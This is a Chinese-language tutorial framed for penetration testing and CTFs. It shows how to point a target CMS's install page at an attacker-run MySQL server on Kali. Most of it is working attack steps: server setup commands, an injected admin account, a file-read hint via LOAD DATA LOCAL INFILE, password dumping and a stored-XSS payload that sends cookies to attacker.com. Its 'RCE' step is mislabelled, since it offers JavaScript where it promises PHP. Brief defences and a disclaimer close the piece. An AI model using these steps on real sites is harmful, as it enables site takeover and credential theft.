在渗透测试或 CTF 环境中,利用目标系统网站的 Install 功能可能可以进行数据库连接的配置,进而引导目标系统连接到我们控制的数据库(如 Kali 本地的 MySQL)。本文介绍如何通过该思路来实现攻击目标站点,让其将数据库连接到 Kali 服务器上,从而进行数据收集或进一步利用。
一、思路分析
某些 CMS 或 Web 应用的安装程序在首次运行时,会要求用户提供数据库信息,比如:
- 数据库主机(host)
- 数据库名称(database)
- 数据库用户名(user)
- 数据库密码(password)
如果目标站点的安装流程允许用户自定义数据库信息,并且没有严格的安全校验,我们可以尝试让其连接到我们的 Kali 服务器上的 MySQL 数据库。通过这一方式,我们可以:
- 控制数据库:目标站点的数据库结构、数据可能会暴露给我们。
- 获取凭据:如果站点的安装过程涉及创建管理员账号,我们可能获取该账号的哈希密码。
- 进一步攻击:如果站点连接了我们的数据库,我们可以尝试通过 SQL 语句进行后续攻击,如 RCE(远程代码执行)。
二、环境准备
在 Kali Linux 上,我们需要:
- 安装 MySQL 并创建数据库
- 创建允许远程访问的数据库用户
- 修改 MySQL 配置,允许外部访问
- 开启防火墙端口,确保目标主机能够连接到数据库
三、实现步骤
1. 安装 MySQL 并创建数据库
Kali 可能默认没有安装 MySQL(MariaDB),需要手动安装:
sudo apt update
sudo apt install mariadb-server -y
启动 MySQL:
sudo systemctl start mariadb
sudo systemctl enable mariadb
登录 MySQL:
sudo mysql -u root
然后创建一个数据库,例如 hacked_db
:
CREATE DATABASE hacked_db;
2. 创建远程访问用户并授权
MySQL 默认不允许 root 用户远程登录,因此我们需要创建一个新用户,并授权远程访问:
CREATE USER 'attacker'@'%' IDENTIFIED BY 'StrongPassword123!';
GRANT ALL PRIVILEGES ON hacked_db.* TO 'attacker'@'%';
FLUSH PRIVILEGES;
这里:
'attacker'@'%'
表示允许任意 IP 访问(可以限制为目标 IP)。StrongPassword123!
需要替换为一个强密码(或者用于钓鱼的密码)。
3. 修改 MySQL 配置,允许远程连接
默认情况下,MySQL 只监听 127.0.0.1
,需要修改配置以允许外部访问:
sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
找到以下行:
bind-address = 127.0.0.1
改为:
bind-address = 0.0.0.0
保存后,重启 MySQL:
sudo systemctl restart mariadb
4. 配置防火墙,开放 3306 端口
如果 Kali 运行了防火墙(iptables 或 ufw),需要开放 MySQL 端口:
sudo ufw allow 3306/tcp
sudo ufw reload
或者使用 iptables
:
sudo iptables -A INPUT -p tcp --dport 3306 -j ACCEPT
四、攻击目标 Install 站点
现在,Kali 的 MySQL 服务器已经可以被外部访问。我们可以访问目标站点的安装页面(通常是 /install.php
或 /setup.php
),然后输入 Kali 服务器的数据库信息:
- 数据库主机:
Kali_IP
(例如192.168.1.100
) - 数据库名称:
hacked_db
- 用户名:
attacker
- 密码:
StrongPassword123!
如果目标站点接受了这些参数并成功连接,我们可以:
- 查看数据库结构:有些 CMS 会自动创建表结构,我们可以观察其字段,寻找敏感信息。
- 拦截敏感数据:如果站点存储了用户凭据,我们可以尝试获取。
- 利用 SQL 语句进行后续攻击:例如
LOAD DATA LOCAL INFILE
可能被滥用来读取目标服务器的文件。
五、后续利用
当目标站点连接到我们的数据库后,我们可以尝试:
-
添加管理员账户
INSERT INTO users (username, password, role) VALUES ('admin', MD5('password123'), 'admin');
如果目标 CMS 允许直接登录,我们可以用
admin/password123
进入后台。 -
修改配置,获取 RCE
如果 CMS 允许存储自定义配置,我们可以尝试写入 PHP 代码:INSERT INTO settings (key, value) VALUES ('site_footer', '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>');
-
数据钓鱼
如果目标站点存储了用户密码,我们可以抓取它们:SELECT username, password FROM users;
六、防御措施
为了防止此类攻击,管理员应该:
- 禁用 Install 站点或设置访问权限
- 限制数据库的外部连接
- 使用强密码并定期更改
- 启用 Web 应用防火墙(WAF)
- 在安装后删除或重命名
/install.php
七、总结
本次实验展示了如何利用目标 Web 站点的 Install 配置,让其连接到 Kali 服务器上的 MySQL,并进一步进行数据收集或利用。这种方法在实际渗透测试中可能用于:
- 获取数据库信息
- 劫持 Web 应用
- 存储 XSS 或 SQL 注入
但同时,防御者也需要意识到这一攻击途径,并采取相应的安全措施。
⚠️ 免责声明
本文仅用于合法的渗透测试和安全研究,切勿用于非法目的,否则后果自负!